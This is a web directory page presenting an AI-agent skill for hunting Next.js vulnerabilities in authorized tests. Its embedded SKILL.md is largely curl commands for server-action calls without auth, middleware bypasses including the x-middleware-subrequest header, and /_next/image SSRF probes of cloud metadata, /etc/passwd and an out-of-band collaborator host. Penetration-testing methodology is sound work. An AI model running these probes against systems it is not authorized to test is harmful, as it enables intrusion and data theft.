Skip to content
Skillpedia
Security5.4k Β· #14922

hunt-nextjs

What it does

This skill checks Next.js and React server-rendered websites for framework-specific security problems. It is for authorized testing of sites built with Next.js.

When to use it

  • βœ“When a site is built with Next.js and has server actions or API routes.
  • βœ“When middleware protects some pages and you want to check its rules.
  • βœ“When the image optimizer might fetch addresses it should not.

Skill link

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nextjs/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nextjs/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œOur site is built with Next.js. Can you check whether middleware and server actions are protected in our authorized test?”

5 new skills a week. 1 minute to read.

How it works

The agent identifies the Next.js version and build details, then checks known risky paths and actions. It reports what it can confirm.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

HUNT-NEXTJS β€” Next.js / SSR Framework Vulnerabilities

Crown Jewel Targets

Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.

Highest-value chains:

  • Server Actions auth bypass β€” Server Actions enforce auth client-side only β†’ call action ID directly β†’ unauthorized data mutation or exfil
  • Middleware bypass via /_next/static/ β€” middleware skips static asset paths β†’ protected routes accessible via /_next/data/ IDOR
  • /_next/image SSRF β€” Image optimizer fetches attacker-controlled URL β†’ internal network scan or cloud metadata
  • ISR stale cache poisoning β€” inject malicious content into a cached page that gets served to all users
  • RSC payload leakage β€” React Server Component flight data contains server-side props not meant for client

Attack Surface Signals

/_next/image?url=&w=&q=          Image optimizer β€” SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data β€” IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles β€” source map candidate
/api/                            API routes β€” standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

Phase 1 β€” Fingerprint & Version Detection

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

Phase 2 β€” Server Actions Abuse

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state β†’ auth enforcement is client-side only

Phase 3 β€” Middleware Auth Bypass

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# β†’ 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) β€” middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

Middleware bypass via x-middleware-subrequest (CVE-2025-29927)

Next skips middleware execution entirely when this header asserts an internal subrequest β€” bypassing auth/redirect middleware on gated routes.

curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
# also: -H "x-middleware-subrequest: src/middleware"  and  "pages/_middleware"
# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

Phase 4 β€” Image Optimization SSRF (/_next/image)

# Basic SSRF test β€” internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"

# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

# OOB detection β€” use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Bur
FAQ

What is the image optimizer risk?

The skill says it can be used to make the server request internal addresses if it is not restricted.

Does it cover other React frameworks?

It is aimed at Next.js, though the skill notes it can apply to other React server frameworks.

Are source maps checked?

Yes. The skill includes checking whether source maps are exposed.

Details

Original description by the author

Hunt Next.js specific vulnerabilities β€” Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework.

repo: elementalsouls/Claude-BugHunter

Popularity

GitHub stars
5.4k
Ranking position
#14922
License
MIT
Updated
11/2/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills